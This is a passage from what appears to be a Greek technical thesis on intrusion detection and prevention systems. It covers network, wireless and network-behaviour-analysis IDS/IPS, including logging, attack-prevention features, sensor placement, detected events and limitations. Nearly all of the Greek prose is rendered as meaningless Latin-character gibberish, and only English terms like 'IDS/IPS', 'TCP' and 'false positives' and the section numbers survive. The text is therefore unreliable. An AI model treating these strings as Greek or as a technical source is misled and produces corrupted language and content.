OLAQopeg TEYVIKEG OTMG TOV EAEYY0 TV BvpdV 7OV YPNCLLOTOOVVTIOL OO TOV KAOe
VIOAOYLOTH, TOV EVOEYOUEVMG VO KATOOEIKVOEL TOV TOHTTO TOL AELTOVPYIKOD GUGTNHOTOG, 1] TNV
OVOAVOT TOV EMKEPUAIO®V TOV TOKETMV YI0L TNV OVIXVELGT OCVVIBIGTOV YOPUKTNPIOTIKMV
OUYKEKPEVOV AELTOVPYIKOV CLOTNUATOV. H yvdon tov AETovpylk®v GUOTNUATOV OV

YPNOYLOTO0VVTAL UTOPEL Vo BonONGEL GTOV EVIOTIGHO TOV EVAAMTOV VTOAOYIGTMV.

o Eogoppoyéc. Opwopéveg epoppoyés kabmdg kot ot €k00CEl TOvg givar dvvatdv va
avoyvoplotody  omd  éva  dwktvakd  IDS/IPS  mopokolovBhviog T 00peg  mov
XPNOOTOLOVVTOL KOl CUYKEKPIUEVE YOPOKTINPIOTIKE Tmv gmkowvovidv. o mapdderypa,
évog server umopet va yvootonotei otov client v £kdoon Tov AoYIGHIKOD OV ¥PNGLUOTOLED
Kot avTioTpOQmc. H yvdon tov ekd0GEmV TOV EQUPUOYDY TOL YPNCIUOTOL0VVTOL UTOPEL VO

BonBnoel 61OV EVIOMIGUO EVAAMTOV 1| U EMLTPENOUEVOV EQAPLOYDV.
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o Awtvoka yopoktnprotika. Opiopéva IDS/IPS cuAléyovv mAnpogopiec oyetikd pe TIC
PLOUIGELG TOV SIKTVOKDY GUGKEVMV KoL TOV VIOAOYIOTAOV, OT®G 0 aptdpog twv hops peta&y
500 cvokev@v. O1 TAnpopopieg avTéG Uropody vo fonbNcovv 6ToV EVIOTIGHO AALAYDV OTIG
dktvakég pubuicerc.

3.5.1.6 Avvatotnreg Katoypapng

Ta dwrtvokd IDS/IPS mpayuatonoovv ektev kataypaer tov dedopévov mov oyetiCovral pe ta
YEYOVOTO, TOL OviyvevovTtal, T omoiat pmopovv vo aflomomBodv yio v emPefoioon TV
€100TOMNCEMY KOl TN OEPELVNOT TAOV TEPICTOTIKMY ac@dieag. Ot mAnpopopiec mov cvviBmg

Katoypdeovrot Tepthapfdvouv ta akdAovda: [1]
e Xpovoonuavon
o AvayvopioTiko trng oOVOESTg 1 TNG GVVHS0L
e Tumo yeyovotog 1| e1domoinong
e A&woAdynon
o [IpmtoKoAlo EMTEGOV SIKTVOV, LETAPOPAG KO EPAPUOYNS
o AwvBovoelg IP mpoéhevong kat mpoopicpon
e Ovpeg TCP 1 UDP mpoéhevong kot mpoopiso 1 tomot Kot kwdikoi ICMP
o Ap1Budg bytes mov petapépbnkay pécw e chvdeong
o  ATOK®IKOTOMUEVO OEGOLEVA TOV LTNHATOV KOL TOV OTOVTICEDY
e Evépyeleg amoTponi|g mov eVOEYOUEVMG TPOLYLATOTO 01OV

Téhog, ta dikrvakd IDS/IPS éyovv ) dvvatdmra va amodnkedovy o makéta Tov StakvhonKoy
(packet capture), n omoio evepyomolgitor cuVNO®C HETG TNV TOPAY®YN KATOOG €180mOINGNG,

TPOKELEVOL VO, KOTAYPAWYOLV TNV UETETMELTA OPACTNPLOTITA TNG GUVOESNC.

3.5.1.7 Avvatomnteg amotponng embEcewmv

O1 aisOntipeg Tov diktvakdv IDS/IPS mapéyovv 11¢ akdAovbeg duvatdTnTeg 0moTponig eMOEcE®Y,

avaloya e Tov Tpdmo Asttovpyiog tovg: [1]
e Modvo MMadntici Aertovpyia (Passive Only).

»  Teppatiopds g TpéYoveas cuvodov TCP. 'Evac madntikdg aicOntipog pumopel va
EMYEPNOEL TOV TEPUOTICUO HiOG GLVOSOL ATOCTEAAOVTIOG KOl OTA dVO AKPO. TG
emwcowvoviag mokéte reset (RST). H teyvikn ovty agevog pev umopel va

xpnowononbel povo oty mepintwon ypnong Tov TpoTokoiiov TCP kot apetépov
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dgv glval 1010{TEPO ATOTELEGLOTIKY, APOV GE TOAAEC TEPIMTMOELG TO TOKETA FESet dev

OTOGTEALOVTOL EYKOUPWG,.

Movo Ev0dypappn Aertovpyia (Inline Only).

Xpion teXvik®OV TEi0Vg TTPoosTacias. O mepiocdtepOl LBVYpoppOol acOnTPES
SBETOUV JLVOTOTNTEG TEYDV TPOGTUGING OV HwopovV vo a&toroinbovv o

Sl0KOT| TOV DTOTTOV dPACTPLOTHTMV.

Eqappoyn mepropropa@v 611 prion evpovg Lavne. Xty tepintmon Katd v onoio
£vo. TPOTOKOALO YPNOOTOLEITAL OVAPLOCTO, OTMG OT emBEcelg Apvnong
VANPECIAV, KATO10l UGONTNPEG UITOPOLY VO EPAPUOCOVY TEPLOPIGLOVE GTN XPNoN

gVpovg VNG amd 10 TPWTOKOALO.
Tpomonoinemn Tov wepreyopévov g enifeons. Opiopévorl vBvypapol oucOnTpeg

glvor og B€omn va amouAKPOVOLYV 1 VO, TPOTOTOLOVV GUYKEKPLUEVO TUNMATO TOV

OTEILDV TOV AVLYVEDOVY TPOKEYEVOD VO TIG APOTAMGOVV.

Modntuci ko Ev@oypappn Asrrovpyia (Passive and Inline)

Tpomomoinon Tov pubpiccov GArlov cvetTnpatoy ac@areios. To IPS pnopei va
0AAGEEL TNV TOPAUETPOTOINGT GAA®OV CLGTNUATOV OCQAAEING TPOKEUEVOL VO,
teppatioet pia gv e€eriler emifeon. o mapdaderypa, eivar SuvvaTd VoL TPOTOTOGEL
mv mapapeTponoinon piag diktvakng ovokevrg (firewall, router, switch) 1 evog
host-based firewall, ¢t61 ®ote vo amoxonel n TpdcPfacn Tov emTIOEUEVOD TPOG TO

otdy0 NG emiBeonc.

Extéleon Tpitov mpoypoppdtov ko scripts. Karnotot aicOntipeg sivat og 6¢om va.
gkteléoovy e€eldikevuévo mpoyphupoto Kot SCripts, mov £yovv opicel ek TV

TPOTEP®V O1 SLUYELPLOTEG ACPAAELNG, OTOV OVIYVELBOVV VTTOTTEG dPACTNPLOTNTEC.

Ta meprocotepa IPS divovv ) duvatdTnTe GTOVE SLUYEPIOTEC VO EVEPYOTTOLOVV 1) VO, GITEVEPYOTOLOVV

TNV ATOTPOTN TOV EIGPOADY Yo KAOe TOTO €100TOMGE®V, OTMC EMioNG Kot v 0pilovv TNV TEYVIKN

ATOTPOTNG Y10 kGO TOTO EEYOPIOTA.

3.5.1.8 Tlepropiopoi

Ta dwrvakd IDS/IPS avtipetonilovy 100 TopaKaT® GNUOVTIKODS TEPLOPICUOVS:

Agv gival og 0fom va aviyveDoovy emMOLGEG EVTOC KPLATOYPUPNUEVIIS OIKTLUKNG
Kivnone. I' avtd to Adyo Ba mpénetl va Tonobetovvion ol osOntipec oe BEcelg Tov pTopovv

va eAéyEouv TV Kivnon mpv TV KPUTTOYPAPNOY| TG, 1 LETGL TNV OTOKPLITOYPAPNOT TNC.
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Ye dapopetikny mepintworn, Ba mpémer va ypnowwomotovvtar IDS/IPS  pepovopévov

GUGTHUOTOC.

e Yno vynid @optio evofyeTron va pnv givar og 0éon va mpoypatomouwjcovvy TANPN
avaivon. Ot mabnrtikol aeOnTpeg evoéyxeTan va amoppiyovv Takéta e4v dgv Tpolafaivovv
Vo T0. avoADGOLY, UE OMOTEAEGHO KATOW TEPIOTOTIKG v unv aviyvevbodv. H amdppryn
TOKET®V Y10, TOVG €VOVYPAUHOVS oloONTpeg pmopel Vo TPOKOAECEL OlOKOTY OIKTLAKMV
VINPECIDV, VO 1M KaBvoTépnon oty emefepyocio TOV TOKETOV UTOPEL Vo TPOKOAECEL
ONUAVTIKEG KaBLGTEPNGEIS OTN AELTOLPYIC TOV JIKTVOV. [ TV AVIYETOTION OVTOV TOV
KATOOTAGE®MY, OploUévol gvBvYpappol ooOntipec avayvopilovv Tic cuvOnKee LYNMAOL
@opTiov Kot €ite EMTPEMOLV TN OEAEVGT GLYKEKPLUEVAOV TOT®V SIKTLOKNG Kiviiong xwpig va
v e€etdlovv 1| amoppimTovy TNV Kivnomn YOUNANG TPOTEPOLITNTAS TPOKEILEVOD VO LELDGOVY

TO (POpTiO.

e Eivar gvdrhoto o€ 01000poVv £100V emBiceig mov oyeTilovral pe peydro 0yko SIkTLOKG
kiviiong. ‘Evog emtifépevog pmopel va dnpiovpynoet €vav moAd peydlo OyKo SKTLaKnG
kivnong o omoiog Bo apopd TOALA dtapopeTikd cvotiuata. H kivron avty pmopei va eivar
TETOLOL TTOV VO UP1VEL OVETTNPEAOTO, TO EMUEPOVE GUGTIOTO TOV OTOTEAOVY TOVG ATOOEKTES
TOV TOKETOV, aAAG Ba 0dnyel oe e€dviAnon Tov vmoAoyioTik®V TOpwv tov IDS/IPS, kabdc
avtd Oa mwpémel va e£ETAGEL TAVTOYPOVA OAC TOL TOKETO TOL EIGEPYOVTOL GTO dikTvo. Mia
GAAN TEYVIKN TOL UTOPEL VO XPNOLOTOWOEL £vag EMTIOEUEVOC Elval aVTN TG TOPAWOYG,
omov o emtfpevog dnovpyel pia diktvakn kiviion mn omoila ekuUeTOAAEOETOL TOV TPOTO
CLYYPAPTG TOV VTOYPAPOV oL Ypnotporolovv ta IDS/IPS, npokepévov va napaydei éva
peyaro minbog ewdomomoemy. H kivnon mov ypnoipomoteital yio v TOOAmMOT OV EYEL MG
TPAYUOTIKO 0TOYO TNV €16POAT, OAAG YPNOLOTOLEITAL Y10l VO, UTEPOEYEL TOVG OLAYEIPIOTES
OCQAAELNG MOTE VO UNV UTOPECOVV VO EVIOTICOVV TIC €L00MOCELS OV APOPOLV TNV
npoyuatikny enifeon mov ektelel mopdAANAa o emrTiBéuevog, KaBMG avTtég ydvovior péca
omv mAnbmpo. twv false positives mov mapdyovior pe ) yprion g Kivnong toOeAwonc.
IToArd IDS/IPS ypnowomolohv Katd®EAL, TEPOV TMOV OTOIMV GTAUATOLV VO, TOPEyoLV

€100TOOELG TPOKEYEVOD VO AVTILETOTIGOVV TIG EMBECELS TOPADOTC.

3.5.2 Acvppoara IDSS/IPSs

H oacvppomn SIkTO®ON EMTPEREL GTIC GLOKEVEG VO, YPNOULOTOIOVV SIKTVOKOVE VTOAOYIGTIKOVG
TOPOVE YWOPIC VO omaLTeiTan 1) EVOOPUATI] GUVOEGT TOVG LE TO SiKTVLO AAAG M TomoBETNoN ToVg EVTHC
™m¢ mepoyNg EUPEAElOG NG VTOSOUNG OCUPHOTNG OKTO®ONG. AV KOl To OGUpUHOTE  OiKTLO
AVTILETOTICOVY YEVIKA TOVG 1010V¢ TOTOVG ATEIMDV LLE TO EVGUPLOTO SIKTVO, VIAPYOVV CUAVTIIKEG

SLOLPOPOTOINCELS OVAPOPIKA LLE OpLoUEVOVS TOTTOVG amelhdv. H onuoavtikdtepn dtapopomoinomn sival
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N OYETIKN €VKOM e TNV omoia pmopel évag emtifépevoc va moperPAndel oty enkovovio PeETOED
evog STA (Station (Ztabudc)) kar evog AP mpokeipévon va eEanolvoel embioelg evoldueson (Man-
in-the-middle).

‘Eva. acvppato IDS/IPS (Wireless IDS/IPS) mapoakolovfel v acvpupatn SikTvokn Kivion kot
aVOADEL TO TPOTOKOALD OCVPUATNG SIKTVWOOTG, TPOKEUEVOD VO, AVIYVEVGEL VTTOTTEG dPACTIPLOTITES.
Ta dopkd otoyeioa evog acvppatov IDS/IPS egivar opowr pe avtd evog diktvaxov IDS/IPS kot
Agrtovpyovv pe tov 1010 Tpomo, He e€aipeomn Tovg aicOntipeg, ol omoiol av Kot EXOovv Tov 1310 poOLO
AELTOVPYOVV TOAD SLUPOPETIKA AOY® TNG TOAVTAOKOTNTOG TNG OldIKOGiNG TapaKkolovnong twv

OCVPUOTOV EMKOWVOVIDV.

Y& avtifeon pe to diktvaxd IDS/IPS 6mov or awsOntipeg mopokorovfovv OAa To TAKETO TOL
dwoxwvoovral, ota acvpuate IDS/IPS ot aieOntipeg Asttovpyodv kdvovtag SetypotoAnyio g
kivnone. Ymdpyovv d00 GuyvoTNTES TOL TPETEL VO TapakoAovBohvtat kat Kabe cuyvotnta yopileTot
oe kavéio. ‘Evoc acOntmpog dev umopel va mapoakoAovBel tovtdypova OAc Ta KovAaAld piog
ouyvotNTOG, MHE amotédecpo va ypeldletoan vo aAralel Oopkdg kavdi. Oco meptocodTEPO
mopakolovbeitar €vo KOVOAM, TOCO TEPLOCOTEPO avEAVOVTOL Ol MBavOTNTEG N aviyvevong
KAKOPOVA®Y €vePYEL®V MOV eKONAGVOVTOL o€ GAAL KavdAla. I avtd to Adyo ot ouoBnthpec
aAAalovv kavdAla mépo ToAD cuyva 1 akopo dSBEToVY TEPIEGOTEPOVS AN EVav GEKTEG TPOKELUEVOD
Vo umopovv  vo.  mopakolovBodv  moAAL  KavdaAlo tovtdypove. Xe  KAMOlES TEPUITMOGELS
XPNOCLOTO0VVTOL TEPLGGHTEPOL Amd EVOg osOnThpeg oo TNV KAAVYN Hog TEPLOYNS, OOV o Kdabe

actntpog avarapPaverl v Tapakorlonon evog VTOGUVOLOL TV S10OEGILOV KOVIAM®DY.
Ot acvppatol ceOntipeg ivar 100011101 68 S18.Ppopeg LOPPES:
o  AmoxieloTikOg aweOnTpog, o omoiog &gival GVUVOEdEUEVOS EVOLPUATA GTO JSIKTLO TOV

0PYOVIGHOV Kol €KTEAEL HOVO TTaONTIKN TopakoAoVONGN, YOPIC VO LETOPEPEL TN OIKTLOKN

kivnon mpog tov Tpoopicpod . Ot aiednmpeg ovtoi dtokpivovtal Ge:
= Yr1a0gpoic, ol omoiol TomoBeTovVTAL G GLYKEKPLEVE onpeio Kot elval cuvnBmg og
HOPPY] GLOKEVNC.

= Kwnrotg, ot omoiol pmopovdv va ypnoiponombovv yuo mepuroriec oto chHvopa TOV
QCVPUATOV OIOKTNTOL JIKTVOV Ko LITopel va givor €iTe GLOKEVEG €1TE AOYIGLUKO TTOV
gykabiotatal 6e pio GVOKELN LE SVVATOTNTA OGVPLOTNG OIKTVWONG (Y. (OopNTOG

VTOAOYLOTIG)
o  Evooparopévog ot éva AP (Access Point (Enpeio TIpéopaonc))

o Evoopatropévog ot évo asvpporto switch
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AdY® TOV OTL 01 AMOKAEIOTIKOL oo T pEg €0TIALOVY OTNV TAPUKOAOVONGN TS ACVLPUATNG KIVIONG
Kol 0 ypeldleTonr vo T HETAPEPOLV, SLOBETOVY UEYOADTEPEC SLVOTOTNTEG AVIYVELONG OO TOLG

EVOOUOTOUEVOVS 0IGONTAPEC, UE TO AVTIOTOL(O PUGIKA YPNLATIKO KOGTOG.

3.5.2.1 Apytektovikég d1kTHoL Kat BEcElc aoOnTpwv

Ta dowkd otoyeio evog acvppotov IDS/IPS cuvdéovior peta&d tovg evoOpUOTO Kol GUVETMC
kpivetol amapoitntn n xpNnon evog diktvov dwuyeiptong To onoio Oa gival Eeyopiotd omd 10 TVTIKO

8ikTVOo gvOC 0pyaVIoUOV, OTMG aKkpPOg Kol o€ £va diktvoko IDS/IPS.

Management
Switch

IDPS
Management Console
Server

Ewova 3-3: Mapaderypo apyrrekrovikig ascOppatov IDS/IPS [1]

H emloyn g 0éong tomobétnong tov aedntipwv evog acdppatov IDS/IPS yivetar pe d1apopetikd
Kpunplo, amd ovtd pe ta omoio emiéyetan M Béon TV awcHntRpov evog diktvakov IDS/IPS. H
emLoYT TV 0écewv yivetal £T61 MOTE va gival QKT 1 TopokolovONoN TN TEPLOYNS eUPérelag To
WLAN 10ov opyaviopod. Opicpévol opyavicpol emAéyovy emiong va torofeTicouy aicOnTpeg Kot
extog ¢ meproyng euPéretoc tov WLAN, mpoxeiévon va givar og BEom va eAEYyouv TEPLOYES TOV
EYKOTACTAGEDY TOVG OTIG omoieg Oev Oa Empene vo vdpyel acHPUATN dPACTNPLOTNTA, ETCL DGTE VO

umopovv  va  aviyvevcovv mAaotd APS. Ta to 1010 Adyo mOAAEG @opéc emAéyetar va
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TAPUKOAOVOOVVTAL KOl GUYVOTNTEG | KAvAAL TOV g YpNoILOTOlovVTAL 0md ToV opyovicpo. Kdmoleg
EMAAEOV TOPAUETPOL TOV EIVOL ATAPOITNTO VO AdpPAvovTot vToYN Yo TV €MA0YN ¢ Béomng TV

aoOnTp®v givorl ot akdAovbot:
o Dvuoikn acParera TOV aednTipov, Kobdmg avtol TorobeTtovvTal o€ avolkTég Tomobecicc.®
o  Eppérero tov areOntipov, n onoia e£aptdtal amd tov mepaiiovio xdpo.
o 'Yropén kolodimong yio T 60VOEST T®V aeONTHPOV LE TO EVGUPLOTO SIKTLO.
e Kootog

o Oéon tov AP kol tOv acvppotreov switches, otav emidéyetar 1 ypnolpomoinon

EVOOUOTOUEVAOV 01oONTHP®V.

3.5.2.2 AxpiPela aviyvevong

Ta acOppata IDS/IPS pmopovv va avigvevcovv embécels, AovOaoUEVES TOPAUETPOTOUCEL KOt
nopafllosl TG TOMTIKNG ao@dAelng oto eminedo tov mpwtokOAhwv tov WLAN, yopic va
egetaloviar o1 emkowvmvies og LYNAOTEPO emimedo, Ommg SkTOOL Kot €Papuoyns. Oplopéva
YPNoYomTolovy povo tn pebodoroyia aviyvevong Pdoel vroypaedv, eved dAlo cvvdvalovv kot

YPNON T®V VIoAoiT®V HeBodorOYIDV.

H axpifeid tovg otnv aviyvevon eivol vynin og oyéon pe drieg kotnyopieg IDS/IPS, xuping Aoyw
TOV TEPLOPLGUEVOD TOVG TEdiov epapuoyns. H ypron e pebodoroyiag aviyvevong faocel eviomopod
Satapaymv umopel va. odnynoet oty mapaywyn false positives, dwaitepa av dev vrapyel oo™

GUVTIPYNOT] TOV TILAOV KATOPAIOL.

3.5.2.3 Timot aviyvevodpevmy yeyovotmv

O1 TOmoL TV yeyovoTmv mov cuviBmg aviyvevovial amd éva acvpuato IDS/IPS, eivat ot akdiovbot:
[1]:

o Mn sg&ovowootnuéva WLANS kov WLAN ovokegvég, a&lomolidviog Tig duvatoTnTeg

GLALOYNG TANPOPOPLDY TTOV TEPTYPAPOVTOL GTN] GUVEYELD.

o Avenapkdg npootatevpéveg 6vokevég WLAN, aviyvedovtog amokAICELS amd TIG TOAMTIKES
AGQOAEING TOV OPYOVICUOD GYETIKG UE PLOUIGEIS TOL APOPOVY Y10, TAPASEIYUN TNV

KPUTTOYPAPN G, TNV AOEVTIKOTOINGT KoL TO YPNCIUOTOLOVUEVE KAVAALL.

e AcvvijfieToug TpoTOULS YPNONS, YpNCIoToIdVTaG HeBOSOVG aviyvevong dlatapuydV, OTMG
Y. TOPASEYOL O EVIOTIGHOG VO acuvibiota peydlov apBpod STAS mov ¥pnoiLoTolovy

éva ovykekpluévo AP.
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e  Xp1|oN COPOTAOV GGVPUATOV OIKTO®OV, TOL YPNCULOTOOVVTAL Y. TOV EVIOMIGUO M)
emapkmg npootatevpevav WLANS, Ot copmtéc mTov umopovv va vIomoTovy gival Hovo ot
evepyol, ONAad avToi TOL TaPAyYoLV OGVPUATT SIKTLOKN KivNon, Eved ot Tabntikoi Tov Hovo

TOPUKOAOLOOVV Kol OVOADOLY TNV TAPATPOVUEVT] Kivnon dev gival SuVATO VO EVTOTIGTOVV.
o  EmOéceig dpvnong vanpecidy, xpnoiuonoldvtag nedddovg EVIOmIGHOD dlaTapay®y.

o EmbBécclg mAOGTOTPOSOTIOSG KO £vOLGpESOV, eviomilovtag JSlpOPOTOGELS OTa

YOPOKTNPLOTIKG TG EMKOWVAOVING.

Ot mepiocdTEpOl aoHppatol aehnTpeg divovv TN SvVATOHTNTO EVIOMICUOV TNG PLCIKNG Béomng piog
OVLVEVOUEVNG OMEIANG, XPNOLLOTOUDVTAG TNV TEYVIKN TOV TPLY®VIGHOV, VIoAoyilovtag dniadn tnv
amoOcTOoN NG amd TOAAAMAOLS atoOntipeg, Pdost g 1oxbOG TOL ONUOTOC TNG OMEMAG OV

Aappdavetor amd Tov kébe ooOnTpa.

3.5.2.4 Tlapoapetpomoinon

Ta acvppata IDS/IPS arartodv cuviBog kdmolo TopauUeETpOToineT TPOKEWEVOD v BEATIOCOVY TNV
axpifela v aviyvedoedv Tovg. H xoplo epyacio mopapeTponoinong apopd tov Tpocdlopicid tov
WLANS, tov APs kot tov STAS mov eivar g€ovciodotnuéve, kabmg Kol TNV amoTOIOGCT TMV
OTTOOEKTMV YOPUKTNPICTIKOV EXKOVOVIOG TOV €IVOL 0odeKTd amd TV mOATIKN acpdietoc. Emiong,
oamopaitntn eivar 1 pOOIoN TOV KOTOEAM®Y oL YPNCLUOTOI0VVTOL 0mtd TIG HeBOSOVE aviyvevong

datapaymv, kebdc kot tav blacklists kot whitelists Tov ypnoyonotovval.

3.5.2.5 Avvatdtmreg GLALOYNG TANPOPOPLOV

Ta mepiocodtepa acvpuata IDS/IPS givar ce Béom vo GLAAEYOLV TANPOQOPIES GYETIKA HE TIC

AcVPUATEG GVOKEVES TTOL evionilovv. Tétoleg mAnpopopieg etvan o mapddetypa ot axdAovbeg:
o Ac¥pnateg svokevég WLAN mov éxovv aviyvevbei, omwg APSs kot WLAN clients.
e WLANS Bdoet tov SSIDS 1tovg, €t61 dGTE VO UTOPOVV OUTA VO, YOPAKTNPLOTOOV G
€Eovo10d0TNUéEVa, YEITOVIKA 1| TAUGTA.
3.5.2.6 Avvortdtnteg Katoypopng

Ta acvpuata IDS/IPS mpaypotonolodv ektevi kataypa@n TV Sed0pEvOv oL oYETILOVTOL LE TO
YEYOVOTO. TOL OviyveLOVTAL, To omoia pmopovv vo aflomomBodv yio v emPefaioon Tov
€100TOMOEMY KOl TN OlEPEDVICT TV TEPIOTATIKOV 0o@iaiewng. Ot mAnpopopieg mov cuvnbmg

Kataypaeovtol TepAappavouy ta akoiovba: [1]
e Xpovoonuoven

e Tbmo yeyovotog 1} e1domoinong
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e A&woAdynon

o [IpmtoKorlo eMTEGOV SIKTVOV, LETAPOPAG KO EPAPUOYNS
o AwvBovoeig MAC mpoéievong

e  ApBpdc kavaiiov

e AvayvoploTikd Tov alcONTHPA TOL KATEYPOWE TO YEYOVOG

o Evépyelec amotpomng Tov evOEYOUEVAOC TPOAYLLOTOTOONKAY

3.5.2.7 Avvatdtmreg amoTponng emBEcEmV
O1 o thpeg tov acHppatov IDS/IPS mapéyovv 600 THTOVE SUVATOTHTOV OTOTPOTNG EMBECEDV:

o Acvppata. Kdmolor arcOntipeg pmopovv vo tepuaticovv tn obvdeon petald evog STA kot
evoc AP, amoGeTéEALOVTAG UNVOIOTO OTOCLGYETIONG TG TPEYOLGOC GLUVOSOV. XTN GULVEXELN

apvodvTaL TNV €K VEOL £ykaBidpuomn chvdeong.

o Evovppora. Kdmowor aiodntipeg pmopodv va koatevbovovv éva switch tov evevpuatov
OIKTVUOV TPOKEWEVOL VO TOPEUTOOIOEL TN OIKTLOKN Kivnon &vog cvykekpiuévov STA 11 AP
Baocel g d1evBuvorg oo MAC. duoikd, avtod Tov €100VG N TEXVIKN UTOPEL VO SloKOWEL
poévo v evovppartn emkowvovioe tov STA 1 tov AP kot Oyt kor v acvpuartn

dpaoTNPOTNTA TOV.

Ta meprocdtepa acvppato [PSs divovv T duvatdtnta 6TovG SLXEIPIOTEG VO, EVEPYOTOIOVV 1] VOl
OTEVEPYOTOLOVV TNV OTOTPOTH TV €I0POAMV Yo KAOe TOmo €1domomoemy, OnMG emiong KAl vo

opifovv TV TEYVIKN AmOTPOTNG Yo KAOE TOTO EEYPLOTAL.

A&ilel vo onpewmbel 0T 1) EKTELEOT] EVEPYELDV OMOTPOTNG EMBEGE®V 0O TOVG OGN TNPES, EVIEXETAL
VO EMNPEAGCEL T SLVATOTNTA TOLG VO TAPAKOAOVOOHV TNV VPt SIKTVOKT Kivior, Kafdg Katd T
SUAPKELN TNG EKTELEDT|G AVTAOV TMV EVEPYELDV EVOEYOUEVAC VO UnV gival og 0éom va aALGEovy KavaAl

TapaKoAoVON GG, av devV S1OETOVY TEPIGGOTEPOVS OO EVOV AGVPLOTOVG OEKTEC.
3.5.2.8 TIlepropiopoi

Ta acvpuata IDS/IPS avtipetonilovy Tovg TopakdTom onuoviikobe teploptopuons: [1]

o Agv etvan o€ Béom va aviyvevcovy emBEcELS O 0Toieg GUVISTAVTOL OO EVEPYELEG TAONTIKIG
TOPUKOLOVONGNG TNG SIKTVOKNG KIvnong kol EKTOG 6UvoESN g emeEepyaciag TG, mov £xEl
®G OTOYO TNV OTOKGAVYN TOV KAEWIOV KPUITOYPAPNONG TOL YPTCLOTOIOVVINL Kol TNV

ATOKPLTTOYPAPNOT| TNG SLOKIVOVUEVNC KiVIoNg.
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e To oyMuo ocGpOGNS KUAVOAOV TOV YPINCLHLOTOLOVV 0L olsONTpeg €ivar €vaA®MTO oF
emMOEGEIS TOV YPNOGLROTOLOVV TEYVIKNG dtaPuys. Mia tétola teyvikn eivar 1 e&amdivon
CUVTOU®V EMOECEDV YPNOYOTOIDOVTOS TO KOVOIAL TOL TNV KAOE dESOUEVT YPOVIKT GTIYUN
dev mapaxkoArovBovvtol. Mia devtepn TeyviKn €lvar N wapdAAnAn ekdniwon dVo embécewmy
o€ 800 daPopeTikd Kavaia. Epdcov o aioOntpag aviyvevoel v emibeon 610 éva kaval

dev Ba givan o Béom va ahAdEer Kovalt Kot va aviyvedoel kat T dgvtepn enifeon.

o Ot acOppotol ocOntpeg gival ot 010t eVAA®TOL GTIC AOYIKES KOl QUOIKEG emBicelg

apvnong vanpestdv evog WLAN, 0no¢ yio Tapddety o 1) QUGIKT TOVG KOTAGTPOPT.

3.5.3 IDSS/IPSs avaiveng O1KTvoKNS GOUTEPLPOPHS

Ta IDSs/IPSs avdivong diktvokng cvumepipopds (Network Behavior Analysis (NBA)) &etalovv
OIKTLOKY KIVNoM TPOKEWEVOL VO OVIYVELGOUY acLVNOIGTEG Poéc Kivong, OTMC KOTAVEUNUEVEG
eMOEGES GPVNONG LIANPECIDOV, GLYKEKPLEVES HOPQEC LOHOPOPDV KOl TOPOPlAcELS TNG TOMTIKNG
ac@aieag. Ta douikd ototyeio evog IDS/IPS avaivong diktuaxkng cuumeppopdc eivat ot aieOnTipeg
KOl Ol KOVOOAEG, €VD KATOEG (POPEG VTAPYOVY Kol OUKOUIGTEG SLYEIPIONG TOV OTOKOAOVVTOL
ovoivtég. Ot aoOntpeg elvar cuvnBmg VIO LoPET] CLOKEVAOV KOl UTOPEL iTe v TapaKolovBovv
Gueoa ™ diktvokn kivnon (6nwg ota diktvakd IDS/IPS), 7 va otpifoviar oe mAnpopopieg
SIKTVOK®OV POMY TOV TOPEXOVTAL OO SPOROAOYNTES Kot AAAEC OIKTVOKEC GLOKEVEG. O OPOC SIKTLAKN
PON OVOPEPETOL GE LU0 GLYKEKPLUEVT] OUVOOO EMIKOWVOVIOG METOED VO VTOAOYLOTOV, 1 ONoin

neptAapPaver Tig mapakdto TAnpogopiec: [1]
o Atevbivoeig IP Tpoédevong kot Tpoopiopo
o Ovpeg TCP 1 UDP mpoélevonc kot Tpoopicpov 1 tomot kot kodwkoi ICMP
o Api1Budg bytes kot mokétmv Tov petapépOnKay KaTd T SLAPKELN TG GUVOSO

o XpovoonUAVGELS GYETIKA e TNV Evapén KoL TOV TEPUATIOUO TNG GUVOS0L

3.5.3.1 Apyrtektovikég dikTvov Kat B€oelg acntnpov

Onog kot oto dwktvokd IDS/IPS givar duvatd va ypnowomomBei gite to tuomkd dikTvo £vOg
opyoviopod M éva Egymplotd diktvo dwyeipiong. Ot arsbnmpeg, dnwg kot ota diktvakd IDS/IPS,
UTOPOVV VO, AELITOVPYNGOVY €ite o Tk €ite €vOVYpappo. XT0 TapAderylo Tov eUeavileTol oTnv
Ewéva 3-4, mopovoidletar pio apyltektovikn Siktoov 1 omoia aélomolel éva EgxwploTd SiKTLO
dloyelplong Kot yPNOUOTOlEl TOBNTIKOVG oobNTPEC TOL GLAAEYOLV TANPOQOPieg HEGH GAA®DV

OKTLOKMV CUOKEVMV.
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Ewévo 3-4: Tlapddcrypa apyrrektovikig IDS/IPS avdlveng diktvakig sopneprpopdg [1]

3.5.3.2 AxpiPeia aviyvevong

Ta IDS/IPS avdAvong SikTvokng Kiviong xpnotipnomolodyv koping nefdéovg eviomouon datopoyv,
og ouvvovacud pe uebddovg avaivong KaTdoToong TPOTOKOAA®V, &V GuvNOmG TPOcPEPOLY
TEPLOPIOUEVEC SVVATOTNTEG XPNONG LITOYPAPAOV. AdY® TV PEBOSOAOYIDYV TOL YPNGLOTOOVV, Eival
TEPLOCOTEPO AKPIPT OTOV EVTOTIGUO EMOEGEDV TOL OMUOLPYOVV EVTOVT OIKTLOKY dPUCTNPLOTNTA
EVTOG HKPDOV YPOVIKOV SOGTNUATOV, OT®G EMOECELS ApVNoNG VINPESIHYV, KABDS Kot emBECELS TV
oTolV 01 SIKTVOKES PoéG TOPOLGLALoVY amdKALoT amd T cuvnbiouéves. AvtiBétmg, sivar Aydtepo
aKpiPn otov eviomopd embécewv UIKpNG KMpoKag, 10itepa 0TOV OVTEG EKTEAOVVTAL UE OPYOVG
pLOLove Kot dev TapaPrédlovv TOMTIKEG ACPAAELNS TOV APOPOVY Yia Tapddetypa T xpiorn Bupdv Kot

TPOTOKOAA®V.
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3.5.3.3 Tomot aviyvevodpevmv yeyovotmv

Ot tmot tv yeyovotwv mov owvhbog aviyvevovior and éve IDS/IPS avdivorn dSiktvaxng

CLUTEPLPOPAEG, lvar ot akdiovbot: [1]

o Embéccig apvnong vanpecidv, ol omoieg cuvnbmg mepAapPfdvovy onuavtikny ovénon
¥pNong tov gbpovg {dvng N €va TOAD peyakdTePO 0td T0 cLVNOIGUEVO aplOUd TaKETOV M

GUVOEGEWDVY TTPOC N} A0 £VO. GUYKEKPLUEVO GVGTN .

o Y UpMOGELS, Ol OTOIEC CLVIOTAVTOL OO LT TUTIKES POEC OTO EMIMEDO EPUPLOYNG, LETAPOPAS 1

SKTOOV.
